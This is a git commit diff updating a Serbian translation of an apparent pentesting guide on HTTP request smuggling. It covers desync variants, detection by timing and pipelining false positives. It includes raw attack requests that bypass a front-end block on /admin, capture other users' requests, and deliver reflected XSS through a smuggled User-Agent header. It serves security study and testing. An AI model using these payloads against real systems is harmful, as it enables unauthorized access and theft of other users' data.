Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

This commit is contained in:
Translator 2025-08-20 16:36:10 +00:00
parent bb93b59aab
commit b96f3b8d05
2 changed files with 195 additions and 67 deletions

View File

@ -11,53 +11,53 @@ To omogućava korisniku da **modifikuje sledeći zahtev koji stigne do pozadinsk
[**RFC Specifikacija (2161)**](https://tools.ietf.org/html/rfc2616)
> Ako je poruka primljena sa oba, Transfer-Encoding header polje i Content-Length header polje, potonje MORA biti ignorisano.
> Ako je poruka primljena sa oba, Transfer-Encoding zaglavlje i Content-Length zaglavlje, potonje MORA biti ignorisano.
**Content-Length**
> Content-Length entitetski header označava veličinu entitetskog tela, u bajtovima, poslatog primaocu.
> Content-Length entitetsko zaglavlje označava veličinu entitetskog tela, u bajtovima, poslatog primaocu.
**Transfer-Encoding: chunked**
> Transfer-Encoding header specificira oblik kodiranja koji se koristi za sigurno prenošenje sadržaja korisniku.\
> Transfer-Encoding zaglavlje specificira oblik kodiranja koji se koristi za sigurno prenošenje sadržaja korisniku.\
> Chunked znači da se veliki podaci šalju u seriji delova.
### Stvarnost
**Frontalni** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ header, a **pozadinski** server **obrađuje drugi**, izazivajući **desinkronizaciju** između 2 sistema.\
To može biti veoma kritično jer **napadač može poslati jedan zahtev** do reverse proxy-a koji će biti **tumačen** od strane **pozadinskog** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **pozadinski** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **pravi zahtev** tog klijenta će biti **deo** **ubačenog zahteva**.
**Frontalni** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ zaglavlje, a **pozadinski** server **obrađuje drugo** izazivajući **desinkronizaciju** između 2 sistema.\
To može biti veoma kritično jer **napadač može poslati jedan zahtev** do reverse proxy koji će biti **tumačen** od strane **pozadinskog** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **pozadinski** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **pravi zahtev** tog klijenta će biti **deo** **ubačenog zahteva**.
### Posebnosti
Zapamtite da u HTTP **novi red karakter se sastoji od 2 bajta:**
- **Content-Length**: Ovaj header koristi **decimalni broj** da označi **broj** **bajtova** **tela** zahteva. Očekuje se da telo završi u poslednjem karakteru, **novi red nije potreban na kraju zahteva**.
- **Transfer-Encoding:** Ovaj header koristi u **telu** **heksadecimalni broj** da označi **broj** **bajtova** **sledećeg dela**. **Chunk** mora **završiti** sa **novim redom**, ali ovaj novi red **se ne računa** od strane indikatora dužine. Ova metoda prenosa mora završiti sa **delom veličine 0 praćenim sa 2 nova reda**: `0`
- **Connection**: Na osnovu mog iskustva, preporučuje se korišćenje **`Connection: keep-alive`** na prvom zahtevu prilikom HTTP Request Smuggling.
- **Content-Length**: Ovo zaglavlje koristi **decimalni broj** da označi **broj** **bajtova** **tela** zahteva. Očekuje se da telo završi u poslednjem karakteru, **novi red nije potreban na kraju zahteva**.
- **Transfer-Encoding:** Ovo zaglavlje koristi u **telu** **heksadecimalni broj** da označi **broj** **bajtova** **sledećeg dela**. **Deo** mora **završiti** sa **novim redom**, ali ovaj novi red **se ne računa** od strane indikatora dužine. Ova metoda prenosa mora završiti sa **delom veličine 0 praćenim sa 2 nova reda**: `0`
- **Connection**: Na osnovu mog iskustva, preporučuje se korišćenje **`Connection: keep-alive`** na prvom zahtevu zahteva Smuggling.
## Osnovni Primeri
> [!TIP]
> Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki gadgeti zloupotrebljavaju nove redove, povratne znakove i neispravne content-length vrednosti.
> Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki uređaji zloupotrebljavaju nove redove, povratne znakove i neispravne dužine sadržaja.
HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) header-e. Ovi napadi mogu se manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ove header-e. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ova zaglavlja. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
### Osnovni Primeri Ranjivosti
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> U prethodnu tabelu treba dodati TE.0 tehniku, kao CL.0 tehniku, ali koristeći Transfer Encoding.
> [!TIP]
> U prethodnu tabelu trebate dodati TE.0 tehniku, kao CL.0 tehniku, ali koristeći Transfer Encoding.
#### CL.TE Ranjivost (Content-Length koristi Frontalni, Transfer-Encoding koristi Pozadinski)
- **Frontalni (CL):** Obradjuje zahtev na osnovu `Content-Length` header-a.
- **Pozadinski (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` header-a.
- **Frontalni (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
- **Pozadinski (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
- **Scenarijo Napada:**
- Napadač šalje zahtev gde vrednost `Content-Length` header-a ne odgovara stvarnoj dužini sadržaja.
- Napadač šalje zahtev gde vrednost `Content-Length` zaglavlja ne odgovara stvarnoj dužini sadržaja.
- Frontalni server prosleđuje ceo zahtev pozadinskom, na osnovu vrednosti `Content-Length`.
- Pozadinski server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` header-a, tumačeći preostale podatke kao odvojen, sledeći zahtev.
- Pozadinski server obrađuje zahtev kao deljen zbog `Transfer-Encoding: chunked` zaglavlja, tumačeći preostale podatke kao odvojen, sledeći zahtev.
- **Primer:**
```
@ -75,11 +75,11 @@ Foo: x
#### TE.CL Ranjivost (Transfer-Encoding koristi Frontalni, Content-Length koristi Pozadinski)
- **Frontalni (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` header-a.
- **Pozadinski (CL):** Obradjuje zahtev na osnovu `Content-Length` header-a.
- **Frontalni (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
- **Pozadinski (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
- **Scenarijo Napada:**
- Napadač šalje chunked zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) nisu usklađeni.
- Napadač šalje deljeni zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) ne odgovaraju.
- Frontalni server, poštujući `Transfer-Encoding`, prosleđuje ceo zahtev pozadinskom.
- Pozadinski server, poštujući `Content-Length`, obrađuje samo početni deo zahteva (`7b` bajtova), ostavljajući ostatak kao deo neplaniranog sledećeg zahteva.
- **Primer:**
@ -104,10 +104,10 @@ x=
#### TE.TE Ranjivost (Transfer-Encoding koriste oba, sa obfuscation)
- **Serveri:** Obe podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation.
- **Serveri:** Oboje podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation.
- **Scenarijo Napada:**
- Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` header-ima.
- Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` zaglavljima.
- U zavisnosti od toga koji server (frontalni ili pozadinski) ne prepoznaje obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost.
- Neobrađeni deo zahteva, kako ga vidi jedan od servera, postaje deo sledećeg zahteva, što dovodi do smuggling-a.
- **Primer:**
@ -129,9 +129,9 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenarijo (Content-Length koriste oba Frontalni i Pozadinski)**
#### **CL.CL Scenarijo (Content-Length koriste i Frontalni i Pozadinski)**
- Obe servera obrađuju zahtev isključivo na osnovu `Content-Length` header-a.
- Oboje servera obrađuju zahtev isključivo na osnovu `Content-Length` zaglavlja.
- Ovaj scenario obično ne dovodi do smuggling-a, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
- **Primer:**
@ -146,7 +146,7 @@ Normal Request
#### **CL.0 Scenarijo**
- Odnosi se na scenarije gde je `Content-Length` header prisutan i ima vrednost različitu od nule, što ukazuje na to da telo zahteva ima sadržaj. Pozadinski server ignoriše `Content-Length` header (koji se tretira kao 0), ali frontalni ga analizira.
- Odnosi se na scenarije gde je `Content-Length` zaglavlje prisutno i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj. Pozadinski ignoriše `Content-Length` zaglavlje (koje se tretira kao 0), ali frontalni ga analizira.
- Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva.
- **Primer:**
@ -161,9 +161,9 @@ Non-Empty Body
#### TE.0 Scenarijo
- Kao prethodni, ali koristi TE.
- Kao prethodni, ali koristi TE
- Tehnika [prijavljena ovde](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Primer:**
- **Primer**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -185,11 +185,11 @@ EMPTY_LINE_HERE
Ova tehnika je takođe korisna u scenarijima gde je moguće **razbiti web server dok se čitaju inicijalni HTTP podaci** ali **bez zatvaranja veze**. Na ovaj način, **telo** HTTP zahteva će biti smatrano **sledećim HTTP zahtevom**.
Na primer, kao što je objašnjeno u [**ovom izveštaju**](https://mizu.re/post/twisty-python), u Werkzeug-u je bilo moguće poslati neke **Unicode** karaktere i to će uzrokovati **razbijanje** servera. Međutim, ako je HTTP veza kreirana sa zaglavljem **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će **telo** zahteva biti tretirano kao **sledeći HTTP zahtev**.
Na primer, kao što je objašnjeno u [**ovoj analizi**](https://mizu.re/post/twisty-python), u Werkzeug-u je bilo moguće poslati neke **Unicode** karaktere i to će uzrokovati **razbijanje** servera. Međutim, ako je HTTP veza kreirana sa zaglavljem **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će **telo** zahteva biti tretirano kao **sledeći HTTP zahtev**.
#### Forcing via hop-by-hop headers
Zloupotrebom hop-by-hop zaglavlja možete naznačiti proxy-ju da **izbaci zaglavlje Content-Length ili Transfer-Encoding kako bi se HTTP request smuggling mogao zloupotrebiti**.
Zloupotrebom hop-by-hop zaglavlja mogli biste naložiti proxy-ju da **izbaci zaglavlje Content-Length ili Transfer-Encoding kako bi se HTTP request smuggling mogao zloupotrebiti**.
```
Connection: Content-Length
```
@ -201,13 +201,13 @@ Za **više informacija o hop-by-hop header-ima** posetite:
## Pronalaženje HTTP Request Smuggling
Identifikacija HTTP request smuggling ranjivosti često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko vremena je potrebno serveru da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
Identifikacija ranjivosti HTTP request smuggling često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
### Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Merenja Vremena
- **Metod:**
- Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka dodatne podatke.
- Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke.
- **Primer:**
```
@ -234,7 +234,7 @@ A
- **Metod:**
- Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka dodatne podatke.
- Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke.
- **Primer:**
```
@ -255,17 +255,17 @@ X
### Druge Metode za Pronalaženje Ranjivosti
- **Analiza Diferencijalnog Odgovora:**
- Pošaljite blago izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na grešku u parsiranju.
- Pošaljite malo izmenjene verzije zahteva i posmatrajte da li se odgovori servera razlikuju na neočekivan način, što ukazuje na grešku u parsiranju.
- **Korišćenje Automatizovanih Alata:**
- Alati poput Burp Suite-ove 'HTTP Request Smuggler' ekstenzije mogu automatski testirati ove ranjivosti slanjem različitih oblika nejasnih zahteva i analizom odgovora.
- **Testovi Varijacije Content-Length:**
- Pošaljite zahteve sa različitim `Content-Length` vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server obrađuje takve neslaganja.
- Pošaljite zahteve sa različitim `Content-Length` vrednostima koje nisu usklađene sa stvarnom dužinom sadržaja i posmatrajte kako server reaguje na takve neslaganja.
- **Testovi Varijacije Transfer-Encoding:**
- Pošaljite zahteve sa obfuskovanim ili neispravnim `Transfer-Encoding` header-ima i pratite kako se front-end i back-end serveri različito ponašaju prema takvim manipulacijama.
- Pošaljite zahteve sa obfuskovanim ili neispravnim `Transfer-Encoding` header-ima i pratite kako se front-end i back-end serveri različito ponašaju na takve manipulacije.
### Testiranje Ranjivosti HTTP Request Smuggling
Nakon potvrđivanja efikasnosti tehnika merenja vremena, ključno je proveriti da li se zahtevi klijenta mogu manipulirati. Jednostavna metoda je pokušaj trovanja vaših zahteva, na primer, da zahtev za `/` vrati 404 odgovor. Primeri `CL.TE` i `TE.CL` prethodno raspravljeni u [Osnovnim Primerima](#basic-examples) pokazuju kako otrovati zahtev klijenta da izazove 404 odgovor, uprkos tome što klijent pokušava da pristupi drugom resursu.
Nakon potvrđivanja efikasnosti tehnika merenja vremena, ključno je proveriti da li se zahtevi klijenta mogu manipulirati. Jednostavna metoda je pokušati da otrovate svoje zahteve, na primer, da zahtev za `/` dovede do 404 odgovora. Primeri `CL.TE` i `TE.CL` prethodno raspravljani u [Osnovnim Primerima](#basic-examples) pokazuju kako otrovati zahtev klijenta da izazove 404 odgovor, uprkos tome što klijent pokušava da pristupi drugom resursu.
**Ključne Napomene**
@ -273,17 +273,123 @@ Kada testirate ranjivosti request smuggling-a ometajući druge zahteve, imajte n
- **Različite Mrežne Konekcije:** "Napad" i "normalni" zahtevi treba da budu poslati preko odvojenih mrežnih konekcija. Korišćenje iste konekcije za oba ne potvrđuje prisustvo ranjivosti.
- **Dosledni URL i Parametri:** Ciljajte da koristite identične URL-ove i imena parametara za oba zahteva. Moderne aplikacije često usmeravaju zahteve ka specifičnim back-end serverima na osnovu URL-a i parametara. Usklađivanje ovih povećava verovatnoću da oba zahteva obrađuje isti server, što je preduslov za uspešan napad.
- **Vreme i Uslovi Trke:** "Normalni" zahtev, koji je namenjen otkrivanju ometanja od "napadnog" zahteva, takmiči se protiv drugih istovremenih zahteva aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
- **Vremenske i Utrke Uslovi:** "Normalni" zahtev, koji je namenjen otkrivanju ometanja od "napadnog" zahteva, takmiči se protiv drugih istovremenih zahteva aplikacije. Stoga, pošaljite "normalni" zahtev odmah nakon "napadnog" zahteva. Zauzete aplikacije mogu zahtevati više pokušaja za konačnu potvrdu ranjivosti.
- **Izazovi Balansiranja Opterećenja:** Front-end serveri koji deluju kao balansatori opterećenja mogu raspodeliti zahteve između različitih back-end sistema. Ako "napadni" i "normalni" zahtevi završe na različitim sistemima, napad neće uspeti. Ovaj aspekt balansiranja opterećenja može zahtevati nekoliko pokušaja za potvrdu ranjivosti.
- **Nepredviđeni Uticaj na Korisnike:** Ako vaš napad nenamerno utiče na zahtev drugog korisnika (ne "normalni" zahtev koji ste poslali za detekciju), to ukazuje da je vaš napad uticao na drugog korisnika aplikacije. Kontinuirano testiranje može ometati druge korisnike, što zahteva oprezan pristup.
## Razlikovanje HTTP/1.1 pipelining artefakata od pravog request smuggling-a
Ponovna upotreba konekcije (keep-alive) i pipelining lako mogu stvoriti iluzije "smuggling-a" u testnim alatima koji šalju više zahteva na istom soketu. Naučite da odvojite bezopasne artefakte sa strane klijenta od pravog desinkronizovanja sa strane servera.
### Zašto pipelining stvara klasične lažne pozitivne rezultate
HTTP/1.1 ponovo koristi jednu TCP/TLS konekciju i spaja zahteve i odgovore na istom toku. U pipelining-u, klijent šalje više zahteva jedan za drugim i oslanja se na odgovore u redosledu. Uobičajena lažna pozitivna situacija je ponovo slanje neispravnog CL.0 stila payload-a dva puta na jednoj konekciji:
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Odgovori mogu izgledati ovako:
```
HTTP/1.1 200 OK
Content-Type: text/html
```
```
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
```
Ako je server ignorisao neispravan `Content_Length`, nema FE↔BE desinkronizacije. Sa ponovnom upotrebom, vaš klijent je zapravo poslao ovaj bajt-stream, koji je server obradio kao dva nezavisna zahteva:
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impact: nema. Samo ste desinhronizovali svog klijenta od servera.
> [!TIP]
> Burp moduli koji zavise od ponovne upotrebe/pipelininga: Turbo Intruder sa `requestsPerConnection>1`, Intruder sa "HTTP/1 ponovna upotreba konekcije", Repeater "Pošalji grupu u sekvenci (jedna konekcija)" ili "Omogući ponovnu upotrebu konekcije".
### Litmus testovi: pipelining ili prava desinkronizacija?
1. Onemogućite ponovnu upotrebu i ponovo testirajte
- U Burp Intruder/Repeater, isključite HTTP/1 ponovnu upotrebu i izbegavajte "Pošalji grupu u sekvenci".
- U Turbo Intruder, postavite `requestsPerConnection=1` i `pipeline=False`.
- Ako se ponašanje izgubi, verovatno je u pitanju klijentski pipelining, osim ako se ne bavite konekcijama zaključanim/sa stanjem ciljevima ili klijentskom desinkronizacijom.
2. HTTP/2 provera ugnježdenih odgovora
- Pošaljite HTTP/2 zahtev. Ako telo odgovora sadrži potpuni ugnježdeni HTTP/1 odgovor, dokazali ste grešku u parsiranju/desinkronizaciji na backendu umesto čiste klijentske artefakte.
3. Proba delimičnih zahteva za konekcije zaključane na front-endu
- Neki FEs ponovo koriste konekciju upstream BE samo ako je klijent ponovo koristi. Koristite delimične zahteve da otkrijete ponašanje FE koje odražava ponovnu upotrebu klijenta.
- Pogledajte PortSwigger "BrowserPowered Desync Attacks" za tehniku zaključane konekcije.
4. Probe stanja
- Potražite razlike između prvog i narednih zahteva na istoj TCP konekciji (routiranje/validacija prvog zahteva).
- Burp "HTTP Request Smuggler" uključuje probu stanja konekcije koja automatizuje ovo.
5. Vizualizujte žicu
- Koristite Burp "HTTP Hacker" ekstenziju da direktno pregledate spajanje i okvir poruka dok eksperimentišete sa ponovnom upotrebom i delimičnim zahtevima.
### Krijumčarenje zahteva zaključanih na konekciji (potrebna ponovna upotreba)
Neki front-endovi ponovo koriste konekciju upstream samo kada klijent ponovo koristi svoju. Pravo krijumčarenje postoji, ali je uslovljeno ponovnom upotrebom sa strane klijenta. Da biste razlikovali i dokazali uticaj:
- Dokažite grešku na strani servera
- Koristite proveru ugnježdenih odgovora HTTP/2, ili
- Koristite delimične zahteve da pokažete da FE samo ponovo koristi upstream kada klijent to čini.
- Pokažite pravi uticaj čak i ako je direktna zloupotreba soketa između korisnika blokirana:
- Trovanje kešom: otrovati deljene keševe putem desinkronizacije tako da odgovori utiču na druge korisnike.
- Otkriće internih zaglavlja: reflektujte FE-ubrizgana zaglavlja (npr. zaglavlja za autentifikaciju/poverenje) i pređite na zaobilaženje autentifikacije.
- Zaobilaženje FE kontrola: krijumčarite ograničene putanje/metode mimo front-enda.
- Zloupotreba zaglavlja hosta: kombinujte sa čudima rutiranja hosta da pređete na interne vhosts.
- Radni tok operatera
- Ponovite sa kontrolisanom ponovnom upotrebom (Turbo Intruder `requestsPerConnection=2`, ili Burp Repeater tab grupa → "Pošalji grupu u sekvenci (jedna konekcija)").
- Zatim povežite sa primitivima za keš/zaglavlje-leak/zaobilaženje kontrole i demonstrirajte uticaj između korisnika ili autorizacije.
> Takođe pogledajte napade na stanje konekcije, koji su blisko povezani, ali nisu tehnički krijumčarenje:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>{{#endref}}
### Ograničenja desinkronizacije sa strane klijenta
Ako ciljate na desinkronizaciju pokretanu pretraživačem/sa strane klijenta, zlonameran zahtev mora biti moguć za slanje od strane pretraživača preko različitih domena. Trikovi obfuscacije zaglavlja neće raditi. Fokusirajte se na primitivne zahteve koji su dostupni putem navigacije/fetch, a zatim pređite na trovanje kešom, otkrivanje zaglavlja ili zaobilaženje kontrole front-enda gde downstream komponente reflektuju ili keširaju odgovore.
Za pozadinu i end-to-end radne tokove:
{{#ref}}
-browser-http-request-smuggling.md
{{#endref}}
### Alati za pomoć u odlučivanju
- HTTP Hacker (Burp BApp Store): otkriva niskonivo ponašanje HTTP-a i spajanje soketa.
- "Krijumčarenje ili pipelining?" Burp Repeater Prilagođena Akcija: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precizna kontrola nad ponovnom upotrebom konekcije putem `requestsPerConnection`.
- Burp HTTP Request Smuggler: uključuje probu stanja konekcije da uoči routiranje/validaciju prvog zahteva.
> [!NOTE]
> Tretirajte efekte koji se odnose samo na ponovnu upotrebu kao neproblematične osim ako ne možete dokazati desinkronizaciju na strani servera i prikačiti konkretan uticaj (otrovan keš artefakt, otkriveno interno zaglavlje koje omogućava zaobilaženje privilegija, zaobiđene FE kontrole, itd.).
## Zloupotreba HTTP Request Smuggling
### Zaobilaženje Front-End Bezbednosti putem HTTP Request Smuggling
### Zaobilaženje bezbednosti front-enda putem HTTP Request Smuggling
Ponekad, front-end proksi primenjuju bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti ugradnje zahteva unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Ponekad, front-end proksi primenjuju mere bezbednosti, pomno prateći dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti inspekciju ugrađenih zahteva unutar krijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end bezbednosnih kontrola, posebno ciljajući `/admin` putanju koja je obično zaštićena front-end proksijem:
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje kontrola bezbednosti front-enda, posebno ciljajući putanju `/admin` koja je obično zaštićena front-end proksijem:
**CL.TE Primer**
```
@ -302,7 +408,7 @@ Content-Length: 10
x=
```
U CL.TE napadu, `Content-Length` zaglavlje se koristi za inicijalni zahtev, dok sledeći ugrađeni zahtev koristi `Transfer-Encoding: chunked` zaglavlje. Frontalni proxy obrađuje inicijalni `POST` zahtev, ali ne uspeva da ispita ugrađeni `GET /admin` zahtev, što omogućava neovlašćen pristup `/admin` putanji.
U CL.TE napadu, `Content-Length` zaglavlje se koristi za inicijalni zahtev, dok sledeći ugnježdeni zahtev koristi `Transfer-Encoding: chunked` zaglavlje. Frontalni proxy obrađuje inicijalni `POST` zahtev, ali ne uspeva da ispita ugnježdeni `GET /admin` zahtev, omogućavajući neovlašćen pristup `/admin` putanji.
**TE.CL Primer**
```
@ -320,13 +426,13 @@ a=x
0
```
Nasuprot tome, u TE.CL napadu, inicijalni `POST` zahtev koristi `Transfer-Encoding: chunked`, a sledeći ugnježdeni zahtev se obrađuje na osnovu `Content-Length` header-a. Slično CL.TE napadu, front-end proxy zanemaruje prokrijumčareni `GET /admin` zahtev, nenamerno omogućavajući pristup ograničenom `/admin` putu.
Nasuprot tome, u TE.CL napadu, inicijalni `POST` zahtev koristi `Transfer-Encoding: chunked`, a sledeći ugnježdeni zahtev se obrađuje na osnovu `Content-Length` zaglavlja. Slično CL.TE napadu, front-end proxy zanemaruje ugnježdeni `GET /admin` zahtev, nenamerno omogućavajući pristup ograničenom `/admin` putu.
### Otkivanje prepravke front-end zahteva <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Aplikacije često koriste **front-end server** za modifikaciju dolaznih zahteva pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje header-a, kao što je `X-Forwarded-For: <IP klijenta>`, kako bi se prosledila IP adresa klijenta back-end-u. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **obići zaštite** ili **otkriti skrivene informacije ili krajnje tačke**.
Aplikacije često koriste **front-end server** za modifikaciju dolaznih zahteva pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: <IP klijenta>`, kako bi se prosledila IP adresa klijenta back-endu. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **obići zaštite** ili **otkriti skrivene informacije ili krajnje tačke**.
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end odražava u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar kao poslednji, slično sledećem:
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end ponavlja u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar poslednji, slično sledećem:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -377,7 +483,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
U ovom scenariju, **parametar komentara** je namenjen za čuvanje sadržaja unutar sekcije komentara posta na javno dostupnoj stranici. Kao rezultat, sadržaj narednog zahteva će se pojaviti kao komentar.
Međutim, ova tehnika ima ograničenja. Generalno, hvata podatke samo do delimičnog delimiter-a koji se koristi u prokrijumčarenom zahtevu. Za URL-enkodirane forme, ovaj delimiter je karakter `&`. To znači da će uhvaćeni sadržaj iz zahteva žrtve prestati na prvom `&`, koji može biti deo upitnog stringa.
Međutim, ova tehnika ima ograničenja. Generalno, hvata podatke samo do delimičnog delimiter-a koji se koristi u prokrijumčarenom zahtevu. Za URL-enkodirane forme, ovaj delimiter je karakter `&`. To znači da će uhvaćeni sadržaj iz zahteva žrtve stati na prvom `&`, koji može biti deo upitnog stringa.
Pored toga, vredi napomenuti da je ovaj pristup takođe izvodljiv sa TE.CL ranjivošću. U takvim slučajevima, zahtev bi trebao da se završi sa `search=\r\n0`. Bez obzira na karaktere novog reda, vrednosti će biti dodate parametru pretrage.
@ -388,7 +494,7 @@ HTTP Request Smuggling se može iskoristiti za iskorišćavanje web stranica ran
- Interakcija sa ciljnim korisnicima **nije potrebna**.
- Omogućava iskorišćavanje XSS u delovima zahteva koji su **normalno nedostupni**, poput HTTP zaglavlja zahteva.
U scenarijima gde je veb sajt podložan Reflektovanom XSS putem User-Agent zaglavlja, sledeći payload prikazuje kako iskoristiti ovu ranjivost:
U scenarijima gde je veb sajt podložan Reflektovanom XSS kroz User-Agent zaglavlje, sledeći payload prikazuje kako iskoristiti ovu ranjivost:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -411,11 +517,11 @@ A=
```
Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:
1. Pokreće `POST` zahtev, naizgled tipičan, sa `Transfer-Encoding: chunked` header-om da označi početak šverca.
1. Inicira `POST` zahtev, naizgled tipičan, sa `Transfer-Encoding: chunked` header-om da označi početak šverca.
2. Nakon toga sledi `0`, što označava kraj chunked poruke.
3. Zatim se uvodi švercovani `GET` zahtev, gde je `User-Agent` header zaražen skriptom, `<script>alert(1)</script>`, što pokreće XSS kada server obradi ovaj sledeći zahtev.
Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja zahteva, čime se iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način.
Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja zahteva, čime iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način.
#### HTTP/0.9
